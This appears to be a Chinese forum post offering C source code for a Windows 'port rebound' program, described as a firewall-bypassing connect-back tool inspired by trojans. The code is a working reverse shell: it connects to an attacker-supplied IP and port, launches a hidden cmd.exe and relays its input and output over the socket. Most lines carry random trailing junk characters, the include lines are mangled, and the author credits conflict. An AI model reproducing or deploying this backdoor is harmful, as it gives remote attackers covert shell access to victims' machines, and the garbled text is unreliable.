Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ;20sh^~  
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/* ============================== /@",5U#  
Rebound port in Windows NT 4v`;D,dI
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By wind,2006/7 WKq{g+a  
===============================*/ x(:alG%#  
#include JE;!~=
 
#include =ibKdPtTh^  
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#pragma comment(lib,"wsock32.lib") WogCt,  
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void OutputShell(); [`1@`5SL-  
SOCKET sClient; T~d_?UAw$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qgq VbJP"  
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void main(int argc,char **argv) 9o
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{ !" @<!  
WSADATA stWsaData; y`pgJO  
int nRet; 2WB`+oWox  
SOCKADDR_IN stSaiClient,stSaiServer; uFfk!  
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if(argc != 3) 1#|qT7  
{ OK \9`  
printf("Useage:\n\rRebound DestIP DestPort\n"); |zy` ]p9  
return; +O7GgySx  
} (b7',:_U7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); `F_R J.g*p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); </2Cn@  
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stSaiClient.sin_family = AF_INET; U(hIT9  
stSaiClient.sin_port = htons(0); =RHIB1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X:QRy9]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6U1_Wk?  
{ /wi/i*;A  
printf("Bind Socket Failed!\n"); yL23Nqe  
return; 8>|<m'e^\r  
} gKRlXVS  
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stSaiServer.sin_family = AF_INET; MgHO WoF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h-\+# .YP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c\rP"y|S};  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S*H @`Do%d  
{ H WFnIUv  
printf("Connect Error!"); b3q&CJ4|  
return; v5*JBW+c*  
} J?f7!F:8  
OutputShell(); //yz$d>JN  
} "f-HOd\=  
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void OutputShell() #}[NleTVt  
{ /&yc?Ui  
char szBuff[1024]; 1c4:'0  
SECURITY_ATTRIBUTES stSecurityAttributes; Y\E7nll:.  
OSVERSIONINFO stOsversionInfo; j_SUR)5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v R! y#  
STARTUPINFO stStartupInfo; `Cz_^>]|=  
char *szShell; <,Jx3yq  
PROCESS_INFORMATION stProcessInformation; P5v;o9B&  
unsigned long lBytesRead; B9]bv]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y$W)JWMY`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y_2B
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stSecurityAttributes.lpSecurityDescriptor = 0; i\kDb=  
stSecurityAttributes.bInheritHandle = TRUE; BxB B](  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^O&&QRH~w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C9eisUM  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dyl1~'K^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rW`l1yi*$  
stStartupInfo.wShowWindow = SW_HIDE; 'AZ

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stStartupInfo.hStdInput = hReadPipe; &a'LOq+r'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fp>nu_-"  
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GetVersionEx(&stOsversionInfo); rGay~\  
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switch(stOsversionInfo.dwPlatformId) .d+zF,02Z  
{ T5wVJgN>  
case 1: r"dR}S.Uf  
szShell = "command.com"; ;&MnPFmq  
break; sk@aOv'*(  
default: t"YN:y8-  
szShell = "cmd.exe"; \+k~p:d_8  
break; Wlp`D  
} uYijzHQyD  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M%s!qC+  
!
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send(sClient,szMsg,77,0); \jAI~|3  
while(1) $paE6X^  
{ "tu*(>'~5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CjJ n  
if(lBytesRead) ::@JL  
{ m/`L3@7Tt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ](`:<>c  
send(sClient,szBuff,lBytesRead,0); jH<,dG:{  
} R S] N%`]  
else Pd~z%VoO  
{ TJuS)AZ C  
lBytesRead=recv(sClient,szBuff,1024,0); ?i}wm`  
if(lBytesRead<=0) break; 7<k@{xI/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "WH &BhQYD  
} b(> G  
} ;|f]e/El  
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return; +y][s{A  
}